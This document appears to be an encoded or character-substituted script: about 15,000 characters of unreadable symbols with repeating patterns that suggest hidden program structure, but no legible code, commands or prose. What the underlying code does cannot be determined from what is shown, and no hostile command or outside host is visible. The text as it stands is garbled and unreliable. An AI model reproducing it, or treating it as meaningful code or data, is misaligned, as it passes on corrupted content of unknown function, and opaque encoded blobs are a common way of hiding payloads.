GGGGZGGG\mmCTV  GGZGG\mCVSGGGGZGGG8_PRSPOO	 NG'8T OVSTTNOCV SPRNN\mGGGGOF'Q^	UOVSWQNOCV SPRNGGGGGGGCVSGFZZGGCR VNGGGmGSS_UU8O8T OVSVSNKGGGG _	S^OVUV^NN\mGGWW	8SOCV SPRKG	N\mGCTV  GGGZGGG\mGGmGGCVSGGZG8_PRSPOO	 NGGGGG'8T OVSTTNOCSTSRNN\mGGGGGGGGOF'T
OVSTSNOCSTSRNGGGCVSGGGFZZGC	_UNGGmGGGGSS_UU8O8T OVSVSNKGT
OVUV^NN\mmmmWW	8SOCSTSRKG	N\mGGGCTV  GGGZGG\CUQ
P UQTZUUMU\CSSZCUQ
P UQTJUR\mGGmGGGGGG	OCVSN\mGGGOFCTV  NGGGmC8R^SQ^WGGGGGZGGGO	NGGGG 8	O _	S^OVSTRNKGWNGGGGLGV\mGGG8	O _	S^OVSTRNKGC8R^SQ^WKGGGT
OVTPRNN\mGOC8R^SQ^WGYZGGGGOWVLWUNNGmGG8	OT
OVSTQNKGGGT
OVVSTNONKGGGGG8T OVTPRNN\mGGGGGSS_UU8OQ^	UOVSTPNKGG _	S^OVST_NN\mmGGmG	\mmmmGGGGGGGC__
SU_GGZGOQ^	UOQQ_NO&%47&3/KGGG8T OVSVPNNKGGT
OQQ_NOCS VQWKG8T OVSVPNNN\mC_VQGZGGON\mmmGGGGGOC__
SU_GGGGCPVWNGGGGmGGGGGGGGC	QUPGGGZGCPVWGGGIGGG@H@GGGIGGGC S_S\mGC	

	GGGZG' _	S^OVSTSNOC	QUPNGXGGG'T
OVST^NOC	QUPNG]GGW\mC	GZG'T
OVSSWNOC	QUPNGGGGGXGGGGG'8T OVSTTNOC	QUPNGGGGG]GGEE\mGGGOFQ^	UOVSSVNOC	NNGGGGmGSS_UU8O8T OVSTPNKGG8T OVSSUNN\mGGGmmG	\mmGGGGO _	S^OVSSTNOC	KGGGC_R^	SQP8NGGZZZGGNGGmmmmGGGGGGGGOC	GGGGGAAGGG _	S^OVTSPNOT
OVSSSNOC	NKGGGGGGJVNGGGGFZZGGGE;	ENGGC	GIZGE;	E\mGGGGGCSUP	GGGZGGGT
OVSSRNGIGGGGCSTSRGIG@E@GGIGG7/78"(+\mGGGGGGGGGOTST		RVOC	QUPKGGC	GIGGCSUP	NNGGGGGGmGGGOC	

	NGWWSPP	8T_ OC	QUPKGC	

	N\mGWWSPP	8T_ OC	QUPKGGG8T OVVSTNONN\mGT8OC	QUPKGGGGOSV^LVNN\mG8	O8T OVSSQNKGGGGG _	S^OVVSTNONKGGGGG _	S^OVTPRNN\mC_VQ<:GZGGOC	QUPKGGGGC	N\mGGGGGGGGGGOO	NG 8	OQ^	UOVSSPNKGGGGWNGGGYGGGWNGGGG8	OQ^	UOVSSPNKGGWKGG8T OVSS_NN\mGGGGGGOO	NG 8	OT
OVSTQNKGGGGGWNGGGYGGWNGGG'8	OQ^	UOVSS^NN\mGGGGGGGGGmHHG'GmmmGGC RS^QGGGZGO	NGGGG 8	O _	S^OVSSPNKGWNGGGGGGLGGV\C8RQZ7/78.)38*&?H7/78.)38*&?\CQSTZC8RQLUW\mGG8	OQ^	UOVSSPNKGC RS^QKG8T OVSS_NN\mGGOC RS^QGYZGGGOVLUNNGmG8	O8T OVSS^NKGGGGG _	S^OVVSTNONKGGT
OVSS_NN\mGGGGGGSS_UU8O8T OVSTPNKGT
OVST_NN\mG\mmmGGmmGmGGGOCS__  U
GGAAGGGGFTQR88Q
W_
ONNGGmGmmmGGGGSS_UU8O8T OVSTPNKGT
OVSRWNN\mGGGGGGWW	8SOCSTSRKGGG	N\mGWW	8SOCV SPRKGGGG	N\mGGOC_VQGGGC^VNGGTST		RVOC^V<W:KGC^V<V:N\mGC8R^SQ^WGZGGGGGO	NG 8	O _	S^OVSSPNKGGWNGLGGGGGV\mGGGG8	O _	S^OVSRVNKGC8R^SQ^WKGGQ^	UOVSS_NN\mmmGGGOC8R^SQ^WGGGGYZGOWVLWUNNGGGmGGGG8	OQ^	UOVSS^NKGGGQ^	UOVVSTNONKGGG8T OVSS_NN\mGGGGSS_UU8OQ^	UOVSRUNKGGGG _	S^OVST_NN\mGGGGGGmGGGGGGGmGGGGGGGO3GGC	VRV8UNGGGmGGSS_UU8OT
OVSRUNKGGC	VRV8UN\mmGGGO"	GGC	VRV8UNGmGGGGmGGGmGG		GGGQ^W_^VONmGGGGGmHHGG		GJ
mmGGmHHG07G/
G+	G
GmmGGGGGGOF _	S^OVTUTNO _	S^OVURUNNNGG	\mGGGGGGGO	OQ^	UOQWTNNGGG	OT
OVSRTNNNGGGGmGGGGOO	NGG' 8	OT
OVSRSNKGGWNNGGGmG'8	OT
OVSRSNN\mGGGGG'8	OQ^	UOVSRVNKGGGWKGGG _	S^OVSS_NN\mmHHG
	GGG07G7G3
mmmmGGGGGG	\mGGGmGGCT
TUP	VGZGGO	NG' 8	OT
OVSRSNKGGWN\mGGGGGGGOFCT
TUP	VNGGGG	\mGGGC8
VP	GGGGZGGGT
OVSRRNO _	S^OVSRQNNGGGXGGO	NGGG'Q^	UOVSRPNO8T OVSR_NNGG]GGW\mmGGOC8
VP	GG[ZGGGWNGC8
VP	GGZGOWLWSN\mGGGGGGOQ^	UOVVSTNONGGJGCT
TUP	VGGG[GGGC8
VP	GLGOWVLWUNNGGGG	\mGGG'8	OQ^	UOVSRSNKG8T OVVSTNONKGGG8T OVSR^NN\mCU
V

PGGZGGGGO	NG' 8	O _	S^OVSRVNKGWNGGGGLGV\mGGGG'8	O _	S^OVSQWNKGGGGGCU
V

PKGGGQ^	UOVSR^NN\mGGGOCU
V

PGGGYZGGGOSJVNNGGGmGG'8	O _	S^OVSQVNN\m'8	OQ^	UOVSS^NKGGGT
OVVSTNONKGG _	S^OVSQUNN\mmGGGSS_UU8OT
OVSRUNKGQ^	UOVSQTNN\mGGmmmGGGGGGGGGGGO3GC	VRV8UNGGmGGGGO"	GGGC	VRV8UNGGGGmGmGGm		GGWUTV VONmGGGmGmGGGOF	O _	S^OVT_PNNNGGG	\mmGGGOQ^	UOVT^_NONGZZZGGGGGG8T O_SNNG	\mmmGGGGGOFVWV
R^^ ^VONNG	\mGGGOF P_^R		SW ONNGGGGGG	\mGGGGCQV	GGGGZGG
U	_T _ON\mmmGGGCVVSGGGGGZGGCQV	GIGGGG8T OVSQSN\mGC _WGGZGGGGG8T OVSQRNGGGIGE;	EGGGIGGGGGGT
OVSQQNGGGIGE;	EmGGGIGGGGGGQ^	UOVSQPNGGIGGGE;	EGGGGIGGGG _	S^OVSQ_NGIGGGGE;	EGGGGIGQ^	UOVSQ^NGGIGGGE;	EmGIGG8T OVSPWNGGGGGIGGGE;	EGGGGIGGGGQ^	UOVSPVNGGIGGE;	EGGGIG8T OVSQ^NGGGIGGE;	EmGGIGGT
OVSPUNGGIGGE;	E\mGGC	GGZGGGG'T
OVSPTNOCVVSNGGGGGGXGGGG'8T OVSPSNOCVVSNGG]GEE\mGGGGGGGGOF8T OVSSVNOC	NNGGmGGGGSS_UU8OT
OVSPRNKG8T OVSSUNN\mG	\mmmmGmGGGGGGGOQ^	UOVSSTNOC	KGGQ^	UOVSQRNNGGZZZGGNGmGGGTST		RVOCVVSKGC	GIGGGGC _WN\C
SUQZV^^PS\C
ZC
SUQ9UVT\mGWWSPP	8T_ OCVVSKGVSQONN\mT8OCVVSKGGGGOPPRJTRRNN\mmGCWSV 	GGZGGGG	
UVUON\mGGOFCWSV 	GGGGGGGT
OVT^VNOCWSV 	NG[GOSTTLQPNNGGG	\mCUWGGGGZG _	S^OVVQRNOVQ^^WWT
WONKGGGT
OVSPQNN\mmGGGCS VQWGGGZGGUP_W
_^ON\mGGGGGC_R^	SQP8GZG^O&%47&3/GGGGGIGQ^	UOVW^UNKGOWRLWTNNGIGGGT
OVSPQN\mGGCWUTWGGGGZGOmGGGCS VQWGGIGG@H@GGIGGGGGC_R^	SQP8KmCQV	GGGGGIGGG@H@GIGGGGGC_R^	SQP8KmGN\mGGC_TU _GZGCS VQWGGIGGGG@H@GGGIGC_R^	SQP8\CU8^	TZVT_Q\C

UQZCU8^	TBVR\mGGGGOCWUTWGGGGGC
U WWNGGGmGGGGGCPVWGZG _	S^OVUQ^NOC
U WWN\mGO' _	S^O_P_NOCPVWNGGGGGGG8	VSS OCPVWKGGGGGGOWRLWV^VNKGNNGGGmHHG07G"	5]G		G	J	mmGGC_TU _GGGGZGGGC
U WW\mGG\mGGGmGGGmGCQP 8GGZGGGT VUON\mGGGCR VGGGGGZGGGGG	^8
SSQ8S^OmGGGG _	S^OVSPPNKmO@884+2 88@KGGG@887+2 .)8%&4"QS88@KGGGGGG@881"54.()88@NKmOCUWKGGGCQP 8KG _ Q	QTPONNmGGGGGGN\C^ P	_ZPTL_Q\CUR^SQZC^ P	_JUR\mGGGGOFCR VNGmGGGGOO	NG 8	OQ^	UOVSP_NKGWNGGGGYGWNGGSS_UU8O8T OVSP^NKGGQ^	UOVS_WNN\mG	\mGmGGGGGCT^SW^GGZGEE\mGCSPW	VR_GGGZGGGO&%47&3/GGGIGQ^	UOVS_VNKGCS VQWGIG8T OVS_UNN\mGGGC8^V8_TGZGGT
OVSRRNO _	S^OVS_TNNGXGGG'Q^	UOVS_TNO _	S^OVS_SNNGGG]GG\mGGGGGGGO8T OVSSVNOC8^V8_TNGGGAAGGGC8^V8_TGGFZZGEENGGGmGGGGGCSPW	VR_<:GGZGG8T OVSSSNO&%47&3/KGGGGQ^	UOVSVPNNGGIG@H@GGGIGGC8^V8_T\mGGGCSPW	VR_<:GGZGCS VQWGGIGG@H@GIGGC8^V8_T\mGGGGmGGOCSPW	VR_GGGGGGGC88
8 NGmGCWRPS GGZG' _	S^OVS_RNOC88
8 NGXGGGG'8T OVSPSNOC88
8 NG]GGGGGGEE\mGGGGGGGGGOF8T OVS_QNOCWRPS NGGGGGGGCWRPS GZZZGGEENGG		\mmmmGGGGGGOQ^	UOVTWVNOT
OVS_PNKGGGGGGCWRPS KGGCRTUP_WNNGGGmGGGCRPUQUGGZG8T OVU_VNOCRTUP_W<U:N\mGGGGGGGGGOCRPUQUGGFZZGEEGGGAAGGGGOCRPUQUKGGGGT
OVSUVNNGZZZGGGGGAAGGGF 
_T W OCRPUQUNNGGmmGCT^SW^GZGGGGCRPUQU\m\mGGmHHGJG
GJmmmmGmGmGGGOCT^SW^GFZZGGGGEENGmGGGGGGCR VGGGGGZGGGG8T OVS__NOT
OVS_^NKG _	S^OVS^WNGGIGGGGQ^	UOVSUTNOCT^SW^KGGNGIGGG8T OVS^VNKGGGGCR VKGGGGVN\mGGGGGGOF8T OVS_QNOCR VNNGGGmGGGSS_UU8OT
OVSP^NKGGT
OVS^UNN\mmm	\mmGGmCP^_SGGGZGG\mCQWTVGGZG	\mGGGGO'T
OVSPTNOC_TU _NNGGmHHG'GmmmGCQWTVGGGZGGGG8_PRSPOO	 NGG'8T OVSPSNOC_TU _NN\mmGGGGGGGGGGGGO _	S^OVS_QNOCQWTVNGGGAAGGGCQWTVGGZZZGGCR VNGGGGmGGGGGGGCP^_SGGGGGZGG\mmmGmHHG!!.G		 ]G
G	mmGGmCU_UVGZGGOmGG&%47&3/GGGIG8T OVS^TNKmGGO	OQ^	UOVSVTNNGGGGXGGG078$()3")38#.5G]GGGCS VQWNGIG _	S^OVS^SNKmGN\mmGGC^_
T
GGGZGGGGO	NGGG 8	OT
OVS^RNKGGGWN\mGGGGGGGGOC^_
T
GAAG _	S^OVS^QNONGGJGGC^_
T
GGG[GGGO_QTQTLTPNNGmGWW	8SOC_TU _KGGG	N\mmmmGGOCU_UVGGGGCS_TR
8^NGGGmHHGGmmGGGGGC	 S WGGGZGGG'T
OVS_RNOCS_TR
8^NGGXG'8T OVSPSNOCS_TR
8^NGGGGG]GGGGEE\mGGGGGGO8T OVS_QNOC	 S WNGAAG8T OVSSTNOC	 S WKGGGC_R^	SQP8NGFZZGGGNGGGmC	SPS8GGZGGS
	VVVUOC	 S WKGGC_R^	SQP8N\mmmGGGGGGGOQ^	UOVS^PNOC	SPS8NGGAAGGGGC	SPS8GGGGFZZGGGGGC	 S WNGGTST		RVOCS_TR
8^KGC	SPS8N\mGGGGGGGGmGGGmGGGGGGGG	\mGGGmGGGGGGGGGGGOCP^_SNGGGC	R_ZOWSLW^N\C SUWZC	R_BQ\mGT^UWPU	P^OC_TU _KGGCR VKGGT
OVS^_NN\mmmmGGGGGGWWSPP	8T_ OC_TU _KGGGGVSQONN\mmGGGT8OC_TU _KGGGGOWVW_LW^NN\mGGW^SS^8OC_TU _N\mGGmGGGGCVSGGGGGZGGGG'Q^	UOVS_RNOC_TU _NGGGXGGGG8_PRSPOO	 NGGGG' _	S^OVS^^NOC_TU _NNGGGGG]GGEE\mGGGGGGOCVSGFZZGGCR VNGGGmmGGGGGGGSS_UU8OQ^	UOVSP^NKGGGGQ^	UOVUV^NN\mWW	8SOC_TU _KGGGCP^_SGGGXGGCQWTVG]G	N\mGC8VQ^V	GGGGGGZGGGGO	NGG 8	OT
OVRWWNKGGGGGGWNGGLGGV\mGGG8	OT
OVRWWNKGGC8VQ^V	KGGGGG _	S^OVRWVNN\mmmmGGGGGOC8VQ^V	GGGYZGGGGOWVLWUNNGGGCQU_Z_T\CPQSZOCQU_YWNXCQU_]JCQU_\m8	O8T OVS^RNKGGT
OVS^QNONKG8T OVRWVNN\mGSS_UU8O _	S^OVSP^NKGG _	S^OVRWUNN\mGmG	\mGGGGmGGG	OCVSN\mC		GGZG _	S^OVRWTN\mGC_VQGZGGGGON\mGGGGGGOCU_UVGGGCQ WR^QNGGGmCPVWGGGZGGG8T OVUQ^NOCQ WR^QN\mmmmGOF' _	S^O_P_NOCPVWNNGGGGG		\mGGGGGC^
QGZGGT
OVSRRNOQ^	UOVWSNNGGGXGG'T
OVWSNOCQ WR^QKG@@NGGG]G\mGOC^
QGGFZZGGGGGAAGGQ^	UOVSRRNOT
OVVQQNNNGGG'OC^
QKGG+($,8"?N\mGC	

	GZGG'T
OVS_RNOCQ WR^QNGXGGGG'T
OVST^NOCQ WR^QNG]GGW\mGCQ8R^ T	_GGGGGZG' _	S^OVRWSNOCQ WR^QNGGGGXGG'Q^	UOVS^^NOCQ WR^QNGG]GEE\mGGGGGGGGGGGGOFT
OVS^PNOCQ8R^ T	_NNGmGGSS_UU8O8T OVSP^NKGT
OVSSUNN\mGGOC^
QGGGFZZGNGGGGGGmGGGGGGGGGO _	S^OVSRRNOT
OVRWRNNNGGG'OC^
QKGGG+($,82)N\mGGGGGGG'OC^
QN\mGmGG		\mmGGGmGGGGOT
OVSSTNOCQ8R^ T	_KGGC_R^	SQP8NGGFZZGGNGmGGGGGGGO'Q^	UOVS_RNOC_TU _NNGGGmGGGGGOC^
QGGGFZZGNGmGGGGGOQ^	UOVSRRNOQ^	UOVRWRNNNG'OC^
QKGGG+($,82)N\mGGGGG'OC^
QN\mmGGGGmGGGGGG		\mGGmCQ8R^ T	_GZGGGGGS
	VVVUOCQ8R^ T	_KGGGGC_R^	SQP8N\mGGGGGmGOF8T OVS^PNOCQ8R^ T	_NNGGGGmGGGGSS_UU8OT
OVSP^NKGGGGGQ^	UOVS^UNN\CVS ZSVRV\CP	TZCVS BU\mGGGGGOC^
QGGGGFZZGGGNGGGmGGGGGGGOQ^	UOVRWQNO _	S^OVRWPNNNGG'OC^
QKG+($,82)N\mG'OC^
QN\mGGGmGGGGG		\mGGGmGGOF'8T OVRW_NOC_TU _NNGGmHHG07G!G4G"	 ]GGmmGGGGGGOC^
QGGFZZGNGmGGGGGOT
OVRWQNOT
OVRW^NNNGGG'OC^
QKGG+($,82)N\mG'OC^
QN\mmmGGmmmGGG		\mGGGmGGO
QPSPRONNGGmmmmGGCSUP	GGGGGZGE;	[.*GY;	EGIGC		GGGGIGGGG8T OVRVWNGGGGIGGGC_TU _GIGGGG@E@GGGIGGGE;	[H.*Y;	E\mGGGmGGCSUP	GZGGGGE;	[.*G
8IY;	EGGIGC		GGIGT
OVRVVNGIGGC_TU _GIG@E@GGGGIGE;	[H.*Y;	EmGGIGGE[.*G
8RIY;	EGIGC		GIGT
OVRVVNGIGGGGC_TU _GGIG@E@GIGE;	[H.*Y;	EmmmGGGGGIGGGE[.*G
8PIY;	EGGIGGGC		GGIGGGQ^	UOVRVUNGGGIGC_TU _GIG@E@GIGGGGGGE;	[H.*Y;	EmGGGGGGGIGE[.*G
8_IY;	EGGIGGGGGGC		GIGGG _	S^OVRVUNGGIGC_TU _GIGGGG@E@GGGGGIGE;	[H.*Y;	E\mmGGmGGGOTST		RVOCQ WR^QKGCQ8R^ T	_GGGGGIGCSUP	NNGGC_VQ<:GGGGGZGGOCQ WR^QKGGCQ8R^ T	_N\mGGGGOC	

	NGGWWSPP	8T_ OCQ WR^QKGC	

	N\mmGGGGGWWSPP	8T_ OCQ WR^QKGGGT
OVS^QNONN\mGGGGGOC^
QGGGFZZGGNGGmGGGO _	S^OVRVTNOQ^	UOVRW^NNNGGG'OC^
QKGG+($,82)N\mGG'OC^
QN\mGGGmGGGGGGGmGGGGGGGOOCP^_SGGGG8T OVRVSNOC_VQNGGGGGYGGWNGGAAGGGGGFTQR88Q
W_
ONNGGGGGmGmmmmGSS_UU8O8T OVSP^NKGGG _	S^OVSRWNN\mmGGWW	8SOC_TU _KGGCQWTVN\mGOC_VQGGC^VNGGGTST		RVOC^V<W:KGGGGC^V<V:N\mmmmGGC8VQ^V	GGZGGGGO	NGG 8	OQ^	UOVRWWNKGGWNGGGGLGV\mGGGGGGmm8	OT
OVRWWNKGGC8VQ^V	KGGGT
OVRWVNN\mGGGGOC8VQ^V	GGGYZGGOWVLWUNNGm8	O8T OVS^RNKGG8T OVS^QNONKGG8T OVRWVNN\mGGSS_UU8O _	S^OVSP^NKGGGG _	S^OVRWUNN\mGGGGGGmmmGGGGGGGG	\mmmGGGGGmGGGGGGOO	NGG 8	OQ^	UOVRWWNKGGGWNGYGWNGGGGGG8	OQ^	UOVRWWNKGGWKGT
OVRVRNN\mGGGGOO	NGG 8	OQ^	UOVRVQNKGGWNGGGGYGGGGWNG'8	OQ^	UOVRVPNN\mmmmGGGGGGGGGGO3GC	VRV8UNGmGGSS_UU8O8T OVSP^NKGGGC	VRV8UN\C_UVZVWS^\CS	WZC_UV9RS\mGGGGGGGGO"	GC	VRV8UNGGGGmmmGSS_UU8OT
OVSP^NKGGC	VRV8UN\mGmGGGGGmGG		GGG_R8_8 8
ONmmGGGGGGmGGGGOF	OT
OVRV_NNNGG	\mGGGGOF _	S^OVRV^NOT
OVURUNNNG	\mmmGGGCURGZGGGGGG^O&%47&3/GGGGGIGG8T OVRUWNKGOT9^NN\mGGGGCWSV 	GZG	
UVUON\mGGGOFCWSV 	GGGG _	S^OVT^VNOCWSV 	NGG[GGGOWVLWVRNNGGG	\mCQP 8GGGZGGGT VUON\mGGGC	GGZGG' 8	OCURKGGGGEEN\mGGGGGGGGGOC	GAAGGQ^	UOVT^VNOC	NGZZZGGT
OVT^VNOCQP 8NGGGAAGGC	GGZZZGCQP 8NGG	\mGGGGGGGGGGOT
OVRV^NOT
OVRUVNNNGGGGm8	OCURKGGCQP 8KGG _	S^OVRVRNN\mGGGGGGGGGO	O _	S^OVRUUNNGAAG	O _	S^OVRUTNNGGGGAAGGGGG	O8T OVRUSNNGGGGGGAAGGG	OT
O^SNNGAAGT
OVRURNOT
OVRUQNNNGmGC^
WUGGGGZGT
OVRUQN\mGC
TRW_GGGGGGZGGG'	GGGC^
WUO		O _	S^OVRUUNNKGGG		OQ^	UOVRUPNNKG		O8T OVRU_NNKG		OT
OVRU^NNN\mGGGGGOC
TRW_GAAGGFC
TRW_JY		8	NGGGGmCGGZGOC +(%&+4< _	S^OVTUVN:JYNGGGXGGC +(%&+4<T
OVTUVN:JYGG]G8T OVWWUN\mmmmGGCP	^^PTU SGGGZGC
TRW_JY88	 OCQP 8N\mmGGGGGGC
QQUGGZGGGC
TRW_JY88	 OCURN\mGGGC
TRW_JYOE.;S;RT;SR53G.);RS;SGC;PW;Q^	;PTGO;Q;PW;PS;Q8	;QKG;PW;Q^;Q	8KG;QV;PSNG;RQ&;S2;SR;RTGO@C
QQU@KG@CP	^^PTU S@KG@	;Q@NG(;SG#27;S.$;SV;RS"G,">G;RR7;SS;SV;RS"G;PW;PS;Q^;Q	8;QVZ@CP	^^PTU S@EN\mGOC
TRW_JYNGGGSS_UU8O8T OVRUWNKGGGGGT
OVRTWNGGGIGQ^	UOVTSPNOC
TRW_JYKGGGWKGOVU_J_NNN\mGC
TRW_JYON\mGmmHHGGG			mmGGGGO3GGGGGC	VRV8UNGGGGGGmSS_UU8O _	S^OVRTVNKGGGGC	VRV8UN\mGGGGGGGGGGGGGGO"	GGGC	VRV8UNGGmGGmGGGGGmGGG		GG 
STUT8SONmmHHG07G.		%]GGmmC88 RGGZGG	O _	S^OVSVTNNGGGXGGGG078$()3")38#.5GG]GGGGGG&%47&3/GGGGIGGGGGQ^	UO^QPN\mCUWP_UVGGGGZGG^O&%47&3/GGGIG8T OVRTUNKGOVQQ9VPSNN\mGG	GOC88 RGGIGGT
ORP_NKGGC88 RGGIGGQ^	UOVRTTNGGGIGCUWP_UVGGGGGIGGT
OVRTSNKGGCUWP_UVN\mmG		GGGGG8
 _OC_SWP^R^PNmGmGGGC P GGZGGO	NGGGGG'T
OVRTRNOC_SWP^R^PN\mGGGGOC P GG[GGGGOVW_J_NGGGGGGGGGC P GGYGOUW^PVSULVWNNG	G\mGGC
T	 
GZG'Q^	UOVRTQNOC_SWP^R^PN\mGGGGGGOF8T OVS^PNOC
T	 
NGGGGGGGQ^	UOVT^VNOC
T	 
NG[GOVUUJUUNGGGG8T OVT^VNOC
T	 
NGYGOTURSTWLVPPVPUUNNG	GGG\mGGCT
TUP	VGGGZGGGGQ^	UOUUWNO@]@KGC
T	 
KGGGGGGOUT_9UTSNN\mGGGGOT
OVRTPNOCT
TUP	VNGGGG[GOPW9QQNGGGCT
TUP	V<W:GGGGGFZZGG8T OVRT_NGGGGGG _	S^OVT^VNOCT
TUP	V<OULVN:NGGGG[GOSSLQNNG	GGG\mGGGGGC	VSWQTGGGGGZG'Q^	UOSWUNOCT
TUP	V<O_P9_SN:N\mGOC	VSWQTGZZZGGGGGGGGG _	S^OVT^VNOC	VSWQTNG[GOWVPLWVNNGGG	GGGGG\mGGGGGGO _	S^OVTSPNOC	VSWQTKGWKGGUNGGGGGZZZGGE;V;_ENGGGmmGGGGC
URSR_8GGGZGG' _	S^OVRT^NO@1@KGGGGGT
OVTSPNOC	VSWQTKGJOVLTNNN\mGGGOF _	S^OVT_SNOC
URSR_8NGGGGGGC
URSR_8<V:GGGGG[GOPQLUSNGGGGGC
URSR_8<V:GYGGOVWS_RSPLU^NNG	GG\mGGGGGGGOT
OVRV^NOQ^	UOVRSWNNNGC	VSWQTGZGG' OC	VSWQTKGGGOVWS_RSPLU^NN\mGGGGGGO _	S^OVRV^NO _	S^OVTUSNNNGGmGGGGC	VSWQTGGGZGG' 	O _	S^OVTSPNOC	VSWQTKGGGOVL^NKGGQ^	UOVT^VNOC	VSWQTNGJGOWVWLWUNNKGGGGOV_TT^RPJP_RT_VNN\mGGGGGGGOQ^	UOVS^PNOC	VSWQTNGGGGGAAGGQ^	UOVRSVNOC	VSWQTNGGGYGGOWVPLWUSU^NNG	G\mmGGGGGmGGGGGG	GGGG\mmmGGmmmGGGGGGGOF8T OVS^PNOC	VSWQTNGGGGGG8T OVRSUNOC	VSWQTNGGG[GGGGGGO^UL_NGGGGGGGGT
OVTSPNOC	VSWQTKGGGWKGOWVLWSNNGFZZGG8T OPQVNGGGGGGGG _	S^OVRSTNOC	VSWQTNGFZZGGCT
TUP	V<U:NGG	G\mGG	GGGGGC	VSWQT\mGGGm		G 

_ONmmGGmHHG07G7G$		]GGJ	mmGGGGGGGmGGGGGGGOF	OQ^	UOVRV_NNNGG	\mGGC
__Q^VR	PSGGZGG 
STUT8SON\mGGGGGGGOF'Q^	UOVRW_NOC
__Q^VR	PS<V:NNGGG	\mGGGO8
 _OC
__Q^VR	PS<V:NGGGZZZGGGGGGNGG	\mGGGGC
S_RUWVGGGGGZGGGG	^8
SSQ8S^OQ^	UOPSUNKGGO@884+2 88@NKGGGGO8T OVVQRNOVQ^^WWT
WONKGQ^	UOVSPQNNNN\mGGGGGOF _	S^OVRSSNOC
S_RUWVNGGGGGGGC
S_RUWVGZZZGGEENGG	\mGC
S_RUWVGZGGGGT
OVS__NO8T OVRSRNKGGGEEKGGGGC
S_RUWVN\CVSZQULQ_\CR_
ZCVSJRW\mGGGGGGOFQ^	UOVRSSNOC
S_RUWVNGGGGGC
S_RUWVGGGGGGZZZGGGEENGGGGG	\mGGGGCVPR		GZG _ Q	QTPONGGIGG@]@GIGGG^O&%47&3/GGIGGGGG _	S^OVRSQNKGGOSLSNN\mC
 8UW	^Q
GGGGZGGGGGQ^	UOVRSPNGGIGCVPR		GIGGQ^	UOVRS_N\mGC
VT_	^GGZGGGGG8T OVRS^NGIGCVPR		GIG8T OVRS_N\mGC_8SVPGGGGGGZGGGGGGT
OVRRWNGGGGGIGGGGGGC
__Q^VR	PS<U:GGGIGGGGQ^	UOVRRVNGIGGG _ Q	QTPONGGGGIGGGT
OVRS_NGGGGGIGE;	EGGIGGC
S_RUWV\mGOF'Q^	UOVRW_NOC
__Q^VR	PS<W:NNGGGGGGmGGGOF	WV8^ROC
__Q^VR	PS<W:KGEENNGGGGGmGSS_UU8OQ^	UOVRTUNKG _	S^OVRRUNN\mGG	\mGGGmmGGGGGGOTST		RVOC
__Q^VR	PS<W:KGGGGGC_8SVPNNGmGWWSPP	8T_ OC
__Q^VR	PS<W:KGVSQONN\mmmmGGT8OC
__Q^VR	PS<W:KGOTQRLRRNN\mW^SS^8OC
__Q^VR	PS<W:N\mmGG	\mGGGGGGGmmGGGGGGCQPV8PVUGGGGGGZGG'Q^	UOVRTQNOC
__Q^VR	PS<W:N\mmmGGGGOFQ^	UOVRSSNOCQPV8PVUNGGG8T OVRSUNOCQPV8PVUNGGGGYGGGOV^P_V^TLVV_^R^NNG	\mmGGO _	S^OVSSTNOCQPV8PVUKGGGC
 8UW	^Q
NGGFZZGGGGGGAAGGGG _	S^OVSSTNOCQPV8PVUKGC
VT_	^NGGGFZZGNG	\mGGGGGGGO _	S^OVSSTNOCQPV8PVUKGGGG8T OVRRTNNGZZZGGGGGGGGGAAGGGQ^	UOVRRSNOCQPV8PVUKGGT
OVRRRNGGGIGC
__Q^VR	PS<U:NGGFZZGGNGmmmmGGGGGGGGOT
OVTWVNOT
OVRRQNKGGGG _	S^OVTSPNOCQPV8PVUKGGWKGGGGGOVSRLRRNNKGCV^ SNGGAAG	8
OCV^ S<V:KG _ Q	QTPONKGG _	S^OVRRPNNNG	\mmmGGGGGGOF	WV8^ROC
__Q^VR	PS<W:KGGGCQPV8PVUNNGGGGmGGSS_UU8OT
OVRTUNKGGQ^	UOVRRUNN\mG	\mGmHHG'GmmGGGGOTST		RVOC
__Q^VR	PS<W:KGGC_8SVPNNGmWWSPP	8T_ OC
__Q^VR	PS<W:KGGVSQONN\mT8OC
__Q^VR	PS<W:KGGOTRWLPWNN\mmmGW^SS^8OC
__Q^VR	PS<W:N\mGmGGGGGG	\mmmGGmGCSSWWQGGGZGGG^O&%47&3/GGGGIGG _	S^OVRSQNKGOPLVNN\mGCQPV8PVUGGGGZGGQ^	UOVS__NO8T OVRR_NGIGGCSSWWQGGIGGGGT
OVRR^NKGGEEKGCQPV8PVUN\mGGGGGGGGOF _	S^OVRSSNOCQPV8PVUNNGGmGGSS_UU8OT
OVRTUNKGGGGGG _	S^OVRQWNN\mGG	\mmmmmmGGGGGGOF'8T O_P_NOC
__Q^VR	PS<W:NNG	\mGGGGGGOF 8PQVPU	O8T OVRTUNNNGGmSS_UU8O8T OVRQVNKGGGQ^	UOVRQUNN\mmmmGGG	\mmmGmGGGOF	WV8^ROC
__Q^VR	PS<W:KGGGGGCQPV8PVUNNGGmSS_UU8OQ^	UOVRQVNKGGG _	S^OVRQTNN\mGGGGGGG	\mGGGGGmmmmGG
 WO _	S^OVRQVNN\mGGCW
GZGGC
 8UW	^Q
GIGGGGGE;	EGIGGT
OVRQSNGGGGIGGC
__Q^VR	PS<U:GGGIGQ^	UOVRS_NGGGIGGGGE;	EGGGGGGIGGC
S_RUWVGIGGGGE;	EGGGIGC
VT_	^\mGGGGGGGGTST		RVOC
__Q^VR	PS<W:KGGGG^R^
UP
8_PTQ^OCQPV8PVUKGGGCW
NN\mGGGO3GGC	VRV8UNGGmSS_UU8O _	S^OVRQVNKGGGGGC	VRV8UN\mGGGGO"	GGC	VRV8UNGGmGGmGGGGGm		GGGG^WU
	SONmGmHHG
GmmGGGGGmmmmGGGOF	O8T OVRQRNNNGGGGGG	\mGGGGGGGC
__Q^VR	PSGGGZG 
STUT8SON\mGGGCUTTGGZGGGGO	 NGGG'Q^	UOVRQQNOC
__Q^VR	PS<V:KGGKGGG	KGWKGGGGOVWSJSWNN\mGGGGGGGGOQ^	UOVTWVNOQ^	UOVRQPNKGCUTTKGGGCPVR^
	Q^PNGGGAAGCPVR^
	Q^P<V:GGGGZZZGGG _ Q	QTPONNGGGGmGGGGC8UGGGGZGGO	NG 8	OQ^	UOVRQ_NKGGWN\mGGGGO _	S^OVS^QNONGGGGJGGGGC8UGGG[GOVRPLSSTNNGGG	\mmmGGGGGGGGO8
 _OC
__Q^VR	PS<V:NGGGFZZGNGmGGG'8	OT
OVRQ^NKGGGG8T OVS^QNONKGGGT
